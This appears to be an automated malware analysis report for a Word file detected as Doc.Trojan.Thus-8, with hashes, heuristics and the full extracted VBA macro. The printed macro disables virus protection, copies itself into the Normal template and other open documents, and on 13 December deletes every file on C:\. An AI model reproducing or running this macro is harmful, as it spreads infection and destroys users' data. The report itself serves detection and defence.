Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 93aa6cb746608962…

MALICIOUS

Office (OLE)

159.0 KB Created: 2005-06-21 15:37:00 Authoring application: Microsoft Word 10.1 First seen: 2020-02-04
MD5: 4876afdfecba990e986e9a8d97a5358b SHA-1: c3b926d64af364fe92e7c5c092d5d8483731d1b8 SHA-256: 93aa6cb746608962a00e94417294d5b5de42b6b46b8b2abe54dd3bfb01e4367c
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for malware execution. The macro attempts to disable virus protection and copy itself to the Normal template, indicating an attempt at persistence. ClamAV detection as 'Doc.Trojan.Thus-8' further supports its malicious nature. The document body content appears to be educational material, suggesting a lure.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-8
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2342 bytes
SHA-256: 0b87df89b52adefdc12f74f070b7d84e29b3551a24df0f14f3d8937c3e6bc0af
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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